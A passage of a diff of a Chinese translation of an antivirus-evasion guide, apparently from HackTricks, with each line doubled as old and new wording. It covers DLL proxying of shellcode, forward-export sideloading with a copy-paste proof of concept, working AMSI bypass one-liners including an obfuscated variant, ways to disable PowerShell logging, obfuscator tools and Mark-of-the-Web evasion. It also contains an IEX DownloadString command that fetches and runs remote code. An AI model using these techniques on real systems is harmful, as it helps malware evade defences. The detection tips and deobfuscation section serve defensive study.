3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
|
||||
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
|
||||
```
|
||||
最后一个命令会给我们 2 个文件:一个 DLL 源代码模板,以及原始(已重命名)的 DLL。
|
||||
最后一个命令会给我们两个文件:一个 DLL 源代码模板,以及原始被重命名的 DLL。
|
||||
|
||||
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
|
||||
```
|
||||
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
|
||||
```
|
||||
以下是结果:
|
||||
|
||||
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
我们的 shellcode(使用 [SGN](https://github.com/EgeBalci/sgn) 编码)和代理 DLL 在 [antiscan.me](https://antiscan.me) 上的检测率均为 0/26!我会称之为成功。
|
||||
我们的 shellcode(使用 [SGN](https://github.com/EgeBalci/sgn) 编码)和 proxy DLL 在 [antiscan.me](https://antiscan.me) 的检测率均为 0/26!我会称之为成功。
|
||||
|
||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> 我 **强烈建议** 你观看 [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) 关于 DLL Sideloading 的内容,并且也观看 [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE),以更深入地了解我们讨论的内容。
|
||||
> 我 **强烈建议** 你观看 [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) 关于 DLL Sideloading,并且也观看 [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) 以更深入了解我们讨论的内容。
|
||||
|
||||
### 滥用转发导出 (ForwardSideLoading)
|
||||
### 滥用 转发导出 (ForwardSideLoading)
|
||||
|
||||
Windows PE 模块可以导出实际上是“forwarders”的函数:导出项并非指向代码,而是包含形如 `TargetDll.TargetFunc` 的 ASCII 字符串。当调用方解析该导出时,Windows loader 会:
|
||||
Windows PE 模块可以导出实际上是“转发器”的函数:导出条目不是指向代码,而是包含形如 `TargetDll.TargetFunc` 的 ASCII 字符串。当调用方解析该导出时,Windows loader 将:
|
||||
|
||||
- 如果 `TargetDll` 是 KnownDLL,则从受保护的 KnownDLLs 命名空间提供(例如,ntdll、kernelbase、ole32)。
|
||||
- 如果 `TargetDll` 不是 KnownDLL,则使用正常的 DLL 搜索顺序,其中包括执行转发解析的模块所在的目录。
|
||||
- 如果尚未加载,则加载 `TargetDll`
|
||||
- 并从中解析 `TargetFunc`
|
||||
|
||||
关键行为要点:
|
||||
- 如果 `TargetDll` 是 KnownDLL,则它来自受保护的 KnownDLLs 命名空间(例如,ntdll、kernelbase、ole32)。
|
||||
- 如果 `TargetDll` 不是 KnownDLL,则使用正常的 DLL 搜索顺序,其中包括执行转发解析的模块所在的目录。
|
||||
需要理解的关键行为:
|
||||
- 如果 `TargetDll` 是 KnownDLL,则它从受保护的 KnownDLLs 命名空间中提供(例如 ntdll, kernelbase, ole32)。
|
||||
- 如果 `TargetDll` 不是 KnownDLL,则使用常规的 DLL 搜索顺序,其中包括执行转发解析的模块所在目录。
|
||||
|
||||
这使得一种间接的 sideloading 原语成为可能:找到一个导出函数并将其转发到非 KnownDLL 模块名的 signed DLL,然后将该 signed DLL 与一个与转发目标模块名完全相同命名、由攻击者控制的 DLL 放在同一目录。当调用转发导出时,loader 解析该转发并从相同目录加载你的 DLL,执行你的 DllMain。
|
||||
这使得一种间接 sideloading 原语成为可能:找到一个导出被转发到非 KnownDLL 模块名的签名 DLL,然后将该签名 DLL 与一个由攻击者控制、且命名与转发目标模块完全相同的 DLL 放在同一目录下。当调用该转发导出时,加载器将解析转发并从同一目录加载你的 DLL,执行你的 DllMain。
|
||||
|
||||
在 Windows 11 上观察到的示例:
|
||||
```
|
||||
keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
|
||||
```
|
||||
`NCRYPTPROV.dll` 不是 KnownDLL,因此它按正常搜索顺序解析。
|
||||
`NCRYPTPROV.dll` 不是 KnownDLL,因此通过常规搜索顺序解析。
|
||||
|
||||
PoC (copy-paste):
|
||||
1) 将已签名的系统 DLL 复制到可写的文件夹
|
||||
1) 复制已签名的系统 DLL 到一个可写入的文件夹
|
||||
```
|
||||
copy C:\Windows\System32\keyiso.dll C:\test\
|
||||
```
|
||||
2) 在同一文件夹中放置一个恶意的 `NCRYPTPROV.dll`。一个最小的 `DllMain` 就足以获得 code execution;你不需要实现转发的函数来触发 `DllMain`。
|
||||
2) 将一个恶意的 `NCRYPTPROV.dll` 放在相同的文件夹中。一个最小的 DllMain 就足以获得代码执行;你不需要实现被转发的函数来触发 DllMain。
|
||||
```c
|
||||
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
|
||||
#include <windows.h>
|
||||
@ -151,29 +149,29 @@ if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&
|
||||
return TRUE;
|
||||
}
|
||||
```
|
||||
3) 使用已签名的 LOLBin 触发 forward:
|
||||
3) 使用已签名的 LOLBin 触发转发:
|
||||
```
|
||||
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface
|
||||
```
|
||||
Observed behavior:
|
||||
- rundll32(已签名)加载 side-by-side 的 `keyiso.dll`(已签名)
|
||||
- 在解析 `KeyIsoSetAuditingInterface` 时,加载器会遵循转发到 `NCRYPTPROV.SetAuditingInterface`
|
||||
- 随后加载器会从 `C:\test` 加载 `NCRYPTPROV.dll` 并执行其 `DllMain`
|
||||
- 如果未实现 `SetAuditingInterface`,只有在 `DllMain` 已经运行之后才会出现“missing API”错误
|
||||
- rundll32(已签名)加载 side-by-side `keyiso.dll`(已签名)
|
||||
- 在解析 `KeyIsoSetAuditingInterface` 时,加载器会跟随转发到 `NCRYPTPROV.SetAuditingInterface`
|
||||
- 随后加载器从 `C:\test` 加载 `NCRYPTPROV.dll` 并执行其 `DllMain`
|
||||
- 如果 `SetAuditingInterface` 未实现,只有在 `DllMain` 已经运行后你才会遇到 "missing API" 错误
|
||||
|
||||
Hunting tips:
|
||||
- 关注那些目标模块不是 KnownDLL 的转发导出。KnownDLLs 列在 `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs` 下。
|
||||
- 你可以使用以下工具枚举转发导出:
|
||||
- 关注那些转发导出(forwarded exports),其目标模块不是 KnownDLL。KnownDLLs 列在 `HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs` 下。
|
||||
- 你可以使用以下工具列举转发导出:
|
||||
```
|
||||
dumpbin /exports C:\Windows\System32\keyiso.dll
|
||||
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
|
||||
```
|
||||
- 查看 Windows 11 forwarder 清单以搜索候选项: https://hexacorn.com/d/apis_fwd.txt
|
||||
|
||||
检测/防御 建议:
|
||||
- 监视 LOLBins (e.g., rundll32.exe) loading signed DLLs from non-system paths, followed by loading non-KnownDLLs with the same base name from that directory
|
||||
- 对如下进程/模块链发出告警: `rundll32.exe` → non-system `keyiso.dll` → `NCRYPTPROV.dll` 位于用户可写路径下
|
||||
- 实施代码完整性策略 (WDAC/AppLocker),并在应用程序目录中拒绝写入+执行权限
|
||||
检测/防御 思路:
|
||||
- 监控 LOLBins (例如,rundll32.exe) 从非系统路径加载已签名的 DLL,然后从该目录加载具有相同基名的 non-KnownDLLs
|
||||
- 对如下进程/模块链发出告警: `rundll32.exe` → 非系统 `keyiso.dll` → `NCRYPTPROV.dll` 位于用户可写路径下
|
||||
- 实施代码完整性策略 (WDAC/AppLocker),并在应用程序目录中拒绝写+执行权限
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
||||
@ -189,13 +187,13 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Evasion is just a cat & mouse game, what works today could be detected tomorrow, so never rely on only one tool, if possible, try chaining multiple evasion techniques.
|
||||
> 对抗只是一场猫捉老鼠的游戏,今天有效的方法明天可能就会被检测到,所以不要只依赖单一工具,尽可能将多种 evasion techniques 串联使用。
|
||||
|
||||
## AMSI (Anti-Malware Scan Interface)
|
||||
|
||||
AMSI 是为防止 "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)" 而创建的。最初,AV 只能扫描磁盘上的文件,所以如果你能以某种方式将 payload 直接在内存中执行,AV 就无法阻止,因为它没有足够的可见性。
|
||||
AMSI 是为防止 "fileless malware" 而创建的。最初,AVs 只能扫描磁盘上的文件,因此如果你能以某种方式直接在内存中执行 payloads,AV 就无法阻止,因为它没有足够的可见性。
|
||||
|
||||
AMSI 功能集成在 Windows 的这些组件中。
|
||||
AMSI 功能集成在 Windows 的以下组件中。
|
||||
|
||||
- User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation)
|
||||
- PowerShell (scripts, interactive use, and dynamic code evaluation)
|
||||
@ -203,39 +201,39 @@ AMSI 功能集成在 Windows 的这些组件中。
|
||||
- JavaScript and VBScript
|
||||
- Office VBA macros
|
||||
|
||||
它通过以未加密且未被 unobfuscating 的形式暴露脚本内容,使得防病毒解决方案可以检查脚本行为。
|
||||
它通过以未加密且未混淆的形式暴露脚本内容,允许防病毒解决方案检查脚本行为。
|
||||
|
||||
运行 `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` 会在 Windows Defender 上产生如下警报。
|
||||
运行 `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` 会在 Windows Defender 上产生如下警告。
|
||||
|
||||
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
注意它如何在前面加上 `amsi:`,然后是脚本运行的可执行文件路径,在本例中为 powershell.exe
|
||||
注意它如何在前面加上 `amsi:`,然后是运行该脚本的可执行文件的路径,在本例中为 powershell.exe
|
||||
|
||||
我们并没有将任何文件写到磁盘,但仍然因为 AMSI 在内存中被拦截了。
|
||||
我们没有在磁盘上写入任何文件,但仍然因为 AMSI 而在内存中被拦截。
|
||||
|
||||
另外,从 **.NET 4.8** 开始,C# 代码也会通过 AMSI 运行。这甚至影响 `Assembly.Load(byte[])` 用于内存加载执行。这就是为什么如果你想规避 AMSI,建议使用较低版本的 .NET(例如 4.7.2 或更低)来进行内存执行的原因。
|
||||
此外,从 **.NET 4.8** 开始,C# 代码也会通过 AMSI 运行。这甚至影响到 `Assembly.Load(byte[])` 用于加载内存执行。因此如果想绕过 AMSI,建议使用较低版本的 .NET(例如 4.7.2 或更低)来进行内存执行。
|
||||
|
||||
有几种方法可以绕过 AMSI:
|
||||
|
||||
- **Obfuscation**
|
||||
|
||||
因为 AMSI 主要依赖静态检测,所以修改你尝试加载的脚本可以是绕过检测的有效方法。
|
||||
由于 AMSI 主要依赖静态检测,因此修改你尝试加载的脚本可能是规避检测的一个好方法。
|
||||
|
||||
然而,AMSI 有能力对脚本进行 unobfuscating,即使有多层混淆,因此 obfuscation 可能是一个糟糕的选择,具体取决于如何实施。这使得规避并不那么直接。尽管如此,有时你只需要更改几个变量名就能通过,具体取决于该内容被标记的程度。
|
||||
不过,AMSI 具备对脚本进行去混淆的能力,即便有多层混淆也可能被还原,所以具体如何混淆决定了它是否有效。有时只需改几个变量名就能通过检测,取决于被标记的程度。
|
||||
|
||||
- **AMSI Bypass**
|
||||
|
||||
由于 AMSI 是通过将一个 DLL 注入到 powershell(以及 cscript.exe、wscript.exe 等)进程中实现的,即便以非特权用户运行,也可以很容易地对其进行篡改。由于 AMSI 实现中的这个缺陷,研究人员发现了多种绕过 AMSI 扫描的方法。
|
||||
由于 AMSI 是通过将一个 DLL 注入到 powershell(以及 cscript.exe、wscript.exe 等)进程来实现的,即使以非特权用户身份运行也很容易进行篡改。基于 AMSI 实现中的这一缺陷,研究人员找到了多种规避 AMSI 扫描的方法。
|
||||
|
||||
**Forcing an Error**
|
||||
|
||||
强制 AMSI 初始化失败 (amsiInitFailed) 将导致当前进程不发起任何扫描。最初这是由 [Matt Graeber](https://twitter.com/mattifestation) 披露的,Microsoft 已经开发了签名以防止更广泛的使用。
|
||||
强制使 AMSI 初始化失败(amsiInitFailed)将导致当前进程不启动任何扫描。最初这是由 [Matt Graeber](https://twitter.com/mattifestation) 披露的,Microsoft 已经开发了一个签名以防止其被广泛利用。
|
||||
```bash
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
```
|
||||
只需一行 powershell 代码就能使当前 powershell 进程中的 AMSI 失效。这行代码当然已被 AMSI 本身拦截,因此要使用该技术需要做一些修改。
|
||||
只需要一行 powershell 代码就能使当前 powershell 进程中的 AMSI 无法工作。 当然,这一行已被 AMSI 检测到,所以要使用该技术需要对其进行一些修改。
|
||||
|
||||
下面是我从这个 [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) 采纳并修改的 AMSI bypass。
|
||||
下面是我从这个 [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db) 取得的已修改 AMSI bypass。
|
||||
```bash
|
||||
Try{#Ams1 bypass technic nº 2
|
||||
$Xdatabase = 'Utils';$Homedrive = 'si'
|
||||
@ -249,119 +247,118 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
|
||||
$Spotfix.SetValue($null,$true)
|
||||
}Catch{Throw $_}
|
||||
```
|
||||
请注意,一旦此帖发布,很可能会被标记,因此如果你的计划是保持不被发现,不要发布任何代码。
|
||||
请注意,一旦这篇文章发布,可能会被标记,因此如果你计划保持不被发现,不应发布任何代码。
|
||||
|
||||
**Memory Patching**
|
||||
|
||||
This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.
|
||||
该技术最初由 [@RastaMouse](https://twitter.com/_RastaMouse/) 发现,涉及查找 amsi.dll 中 "AmsiScanBuffer" 函数的地址(负责扫描用户提供的输入),并用返回 E_INVALIDARG 代码的指令覆盖它。这样,实际扫描的结果将返回 0,被解释为“干净”的结果。
|
||||
|
||||
> [!TIP]
|
||||
> 详情请阅读 [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) 以获得更详细的说明。
|
||||
> 详细解释请阅读 [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/)。
|
||||
|
||||
There are also many other techniques used to bypass AMSI with powershell, check out [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) and [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them.
|
||||
还有许多使用 PowerShell 绕过 AMSI 的其他技术,查看 [**this page**](basic-powershell-for-pentesters/index.html#amsi-bypass) 和 [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) 以了解更多。
|
||||
|
||||
This tools [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) also generates script to bypass AMSI.
|
||||
该工具 [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) 也会生成用于绕过 AMSI 的脚本。
|
||||
|
||||
**移除被检测的签名**
|
||||
**Remove the detected signature**
|
||||
|
||||
你可以使用诸如 **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** 和 **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** 之类的工具,从当前进程的内存中移除被检测到的 AMSI 签名。该工具通过扫描当前进程内存中的 AMSI 签名,然后用 NOP 指令覆盖它,从而将其从内存中移除。
|
||||
你可以使用诸如 **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** 和 **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** 的工具,从当前进程的内存中移除检测到的 AMSI 签名。该工具通过扫描当前进程内存中的 AMSI 签名,然后用 NOP 指令覆盖它,从而有效地将其从内存中移除。
|
||||
|
||||
**使用 AMSI 的 AV/EDR 产品**
|
||||
**AV/EDR products that uses AMSI**
|
||||
|
||||
你可以在 **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** 找到使用 AMSI 的 AV/EDR 产品列表。
|
||||
可以在 **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)** 找到使用 AMSI 的 AV/EDR 产品列表。
|
||||
|
||||
**使用 PowerShell 版本 2**
|
||||
如果你使用 PowerShell 版本 2,AMSI 将不会被加载,因此你可以在不被 AMSI 扫描的情况下运行脚本。你可以这样做:
|
||||
**Use Powershell version 2**
|
||||
如果你使用 PowerShell 版本 2,AMSI 将不会被加载,因此你可以运行脚本而不被 AMSI 扫描。你可以这样做:
|
||||
```bash
|
||||
powershell.exe -version 2
|
||||
```
|
||||
## PS Logging
|
||||
## PS 日志
|
||||
|
||||
PowerShell logging 是一项功能,允许你记录系统上执行的所有 PowerShell 命令。 这对于审计和故障排查很有用,但对试图规避检测的攻击者来说也是一个问题。
|
||||
PowerShell logging 是一项功能,允许记录系统上执行的所有 PowerShell 命令。此功能对审计和故障排除很有用,但对想要规避检测的攻击者来说也是一个问题。
|
||||
|
||||
要绕过 PowerShell logging,你可以使用以下技术:
|
||||
要绕过 PowerShell 日志,可以使用以下技术:
|
||||
|
||||
- **Disable PowerShell Transcription and Module Logging**: 你可以使用像 [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) 这样的工具来实现此目的。
|
||||
- **Use Powershell version 2**: 如果使用 PowerShell version 2,AMSI 将不会被加载,因此你可以运行脚本而不被 AMSI 扫描。你可以这样做:`powershell.exe -version 2`
|
||||
- **Use an Unmanaged Powershell Session**: 使用 [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) 来生成一个没有防护的 PowerShell 会话(这正是来自 Cobal Strike 的 `powerpick` 所使用的)。
|
||||
- **Disable PowerShell Transcription and Module Logging**:你可以使用工具例如 [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) 来实现。
|
||||
- **Use Powershell version 2**:如果使用 PowerShell version 2,AMSI 将不会被加载,因此可以运行脚本而不被 AMSI 扫描。可以这样做:`powershell.exe -version 2`
|
||||
- **Use an Unmanaged Powershell Session**:使用 [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) 来生成一个没有防护的 powershell 会话(这也是 `powerpick` 来自 Cobal Strike 时所使用的方法)。
|
||||
|
||||
|
||||
## Obfuscation
|
||||
## 混淆
|
||||
|
||||
> [!TIP]
|
||||
> Several obfuscation techniques relies on encrypting data, which will increase the entropy of the binary which will make easier for AVs and EDRs to detect it. Be careful with this and maybe only apply encryption to specific sections of your code that is sensitive or needs to be hidden.
|
||||
> 若干混淆技术依赖对数据进行加密,这会增加二进制文件的熵,从而更容易被 AVs 和 EDRs 检测到。对此要小心,或许只对代码中敏感或需要隐藏的特定部分应用加密。
|
||||
|
||||
### Deobfuscating ConfuserEx-Protected .NET Binaries
|
||||
### 对由 ConfuserEx 保护的 .NET 二进制文件进行去混淆
|
||||
|
||||
在分析使用 ConfuserEx 2(或商业分支)的 malware 时,通常会遇到多层保护,这些保护会阻止反编译器和 sandboxes。下面的工作流程能可靠地 **restores a near–original IL**,之后能在 dnSpy 或 ILSpy 等工具中反编译为 C#。
|
||||
在分析使用 ConfuserEx 2(或其商业分支)的恶意软件时,通常会遇到多层保护,阻止反编译器和沙箱。下面的工作流程可以可靠地**恢复接近原始的 IL**,之后可以在 dnSpy 或 ILSpy 等工具中将其反编译为 C#。
|
||||
|
||||
1. Anti-tampering removal – ConfuserEx 会加密每个 *method body* 并在 *module* 静态构造函数 (`<Module>.cctor`) 中对其解密。这同时会修补 PE checksum,因此任何修改都会导致二进制崩溃。使用 **AntiTamperKiller** 定位被加密的元数据表,恢复 XOR keys 并重写一个干净的 assembly:
|
||||
1. 反篡改移除 – ConfuserEx 会加密每个 *method body* 并在 *module* 的静态构造函数 (`<Module>.cctor`) 中解密。它还会修补 PE 校验和,因此任何修改都会导致二进制崩溃。使用 **AntiTamperKiller** 来定位被加密的元数据表,恢复 XOR 密钥并重写一个干净的 assembly:
|
||||
```bash
|
||||
# https://github.com/wwh1004/AntiTamperKiller
|
||||
python AntiTamperKiller.py Confused.exe Confused.clean.exe
|
||||
```
|
||||
输出包含 6 个 anti-tamper 参数(`key0-key3`, `nameHash`, `internKey`),在构建你自己的 unpacker 时会有用。
|
||||
输出包含 6 个反篡改参数(`key0-key3`, `nameHash`, `internKey`),在构建自定义 unpacker 时可能会有用。
|
||||
|
||||
2. Symbol / control-flow recovery – 将 *clean* 文件输入 **de4dot-cex**(一个支持 ConfuserEx 的 de4dot 分支)。
|
||||
2. 符号 / 控制流恢复 – 将 *clean* 文件输入到 **de4dot-cex**(一个支持 ConfuserEx 的 de4dot 分支)。
|
||||
```bash
|
||||
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe
|
||||
```
|
||||
Flags:
|
||||
• `-p crx` – 选择 ConfuserEx 2 配置文件
|
||||
• de4dot 将撤销 control-flow flattening,恢复原始的 namespaces、classes 和 variable names,并解密常量字符串。
|
||||
• `-p crx` – 选择 ConfuserEx 2 profile
|
||||
• de4dot 会撤销控制流扁平化,恢复原始的命名空间、类和变量名,并解密常量字符串。
|
||||
|
||||
3. Proxy-call stripping – ConfuserEx 用轻量包装器(即 *proxy calls*)替换直接的方法调用以进一步破坏反编译。使用 **ProxyCall-Remover** 将其移除:
|
||||
3. 代理调用剥离 – ConfuserEx 用轻量级包装器(亦称 *proxy calls*)替换直接方法调用,以进一步破坏反编译。使用 **ProxyCall-Remover** 将其移除:
|
||||
```bash
|
||||
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe
|
||||
```
|
||||
在此步骤之后,你应该能看到正常的 .NET API(例如 `Convert.FromBase64String` 或 `AES.Create()`),而不是不透明的包装函数(`Class8.smethod_10` 等)。
|
||||
在此步骤之后,你应当看到正常的 .NET API,例如 `Convert.FromBase64String` 或 `AES.Create()`,而不是不透明的包装函数(如 `Class8.smethod_10`,…)。
|
||||
|
||||
4. Manual clean-up – 在 dnSpy 中运行生成的二进制,搜索大型的 Base64 blob 或 `RijndaelManaged`/`TripleDESCryptoServiceProvider` 的使用以定位 *real* payload。通常 malware 会将其存为在 `<Module>.byte_0` 中初始化的 TLV 编码字节数组。
|
||||
4. 手动清理 – 在 dnSpy 中运行生成的二进制,搜索大型 Base64 数据块或 `RijndaelManaged`/`TripleDESCryptoServiceProvider` 的使用以定位 *真实* 载荷。通常恶意软件会将其作为在 `<Module>.byte_0` 中初始化的 TLV 编码字节数组存储。
|
||||
|
||||
上述链在 **without** 需要运行恶意样本的情况下恢复执行流程——这在离线工作站上工作时很有用。
|
||||
上述链在**不**需要运行恶意样本的情况下恢复执行流——在离线工作站上非常有用。
|
||||
|
||||
> 🛈 ConfuserEx 会生成一个名为 `ConfusedByAttribute` 的自定义属性,可用作 IOC 来自动分类样本。
|
||||
> 🛈 ConfuserEx 会生成一个名为 `ConfusedByAttribute` 的自定义属性,可用作 IOC 来自动归类样本。
|
||||
|
||||
#### One-liner
|
||||
#### 单行命令
|
||||
```bash
|
||||
autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially
|
||||
```
|
||||
---
|
||||
|
||||
- [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 该项目的目标是提供一个开源的 [LLVM](http://www.llvm.org/) 编译套件分支,通过 [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) 和 tamper-proofing 提高软件安全性。
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator 演示如何使用 `C++11/14` 在编译时生成 obfuscated code,且无需使用任何外部工具或修改编译器。
|
||||
- [**obfy**](https://github.com/fritzone/obfy): 添加一层由 C++ template metaprogramming 框架生成的 obfuscated operations,使试图破解应用的人更难以得手。
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz 是一个 x64 binary obfuscator,能够对各种不同的 pe files(包括:.exe、.dll、.sys)进行 obfuscate。
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame 是一个针对任意可执行文件的简单 metamorphic code engine。
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator 是一个细粒度的 code obfuscation 框架,适用于 LLVM-supported languages,使用 ROP (return-oriented programming)。ROPfuscator 在汇编级别通过将常规指令转换为 ROP chains 来 obfuscate 程序,从而破坏我们对正常控制流的固有认知。
|
||||
- [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): 本项目的目标是提供一个开源的 [LLVM](http://www.llvm.org/) 编译套件分支,通过 [code obfuscation](<http://en.wikipedia.org/wiki/Obfuscation_(software)>) 和防篡改来提升软件安全性。
|
||||
- [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator 演示如何使用 `C++11/14` 语言在编译时生成 obfuscated code,而无需使用任何外部工具或修改编译器。
|
||||
- [**obfy**](https://github.com/fritzone/obfy): 添加一层由 C++ template metaprogramming framework 生成的 obfuscated operations,从而让想要 crack the application 的人更加困难。
|
||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz 是一个 x64 binary obfuscator,能够对多种 pe 文件进行 obfuscate,包括:.exe、.dll、.sys
|
||||
- [**metame**](https://github.com/a0rtega/metame): Metame 是一个用于任意可执行文件的简易 metamorphic code engine。
|
||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator 是一个针对 LLVM-supported languages、使用 ROP (return-oriented programming) 的细粒度 code obfuscation framework。ROPfuscator 在汇编级别对程序进行 obfuscate,通过将常规指令转换为 ROP chains,破坏我们对正常 control flow 的直观理解。
|
||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt 是用 Nim 编写的 .NET PE Crypter
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor 能将现有的 EXE/DLL 转换为 shellcode 并加载它们
|
||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor 能够将现有的 EXE/DLL 转换为 shellcode 并加载它们
|
||||
|
||||
## SmartScreen & MoTW
|
||||
## SmartScreen 与 MoTW
|
||||
|
||||
你可能在从互联网下载一些可执行文件并运行它们时见过这个提示界面。
|
||||
当从互联网上下载并执行某些可执行文件时,你可能见过这个界面。
|
||||
|
||||
Microsoft Defender SmartScreen 是一种旨在保护最终用户免于运行潜在恶意应用程序的安全机制。
|
||||
Microsoft Defender SmartScreen 是一项安全机制,旨在保护终端用户不运行可能的恶意应用程序。
|
||||
|
||||
<figure><img src="../images/image (664).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SmartScreen 主要采用基于声誉的方法,这意味着不常见的下载应用会触发 SmartScreen,从而警告并阻止最终用户执行该文件(尽管可以通过点击 More Info -> Run anyway 仍然执行该文件)。
|
||||
SmartScreen 主要基于 reputation-based 的方法工作,这意味着不常见下载的应用会触发 SmartScreen,从而提醒并阻止终端用户执行该文件(尽管仍可以通过点击 More Info -> Run anyway 来执行该文件)。
|
||||
|
||||
**MoTW** (Mark of The Web) 是一个名为 Zone.Identifier 的 [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>),在从互联网下载文件时会自动创建,同时记录下载该文件的 URL。
|
||||
**MoTW** (Mark of The Web) 是一个名为 Zone.Identifier 的 [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>),当从互联网下载文件时会自动创建,并包含下载来源的 URL。
|
||||
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Checking the Zone.Identifier ADS for a file downloaded from the internet.</p></figcaption></figure>
|
||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>检查从互联网下载的文件的 Zone.Identifier ADS。</p></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> 需要注意的是,使用 **trusted** signing certificate 签名的可执行文件 **won't trigger SmartScreen**。
|
||||
> 需要注意的是,用 **trusted** 签名证书签名的可执行文件**不会触发 SmartScreen**。
|
||||
|
||||
防止你的 payloads 被打上 Mark of The Web 的一个非常有效的方法是将它们打包到某种容器中,例如 ISO。之所以有效,是因为 Mark-of-the-Web (MOTW) **cannot** 应用于 **non NTFS** 卷。
|
||||
防止 payloads 被打上 Mark of The Web 的一种非常有效的方法是将它们打包到某种容器中,例如 ISO。这是因为 Mark-of-the-Web (MOTW) **无法** 应用于非 NTFS 卷。
|
||||
|
||||
<figure><img src="../images/image (640).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
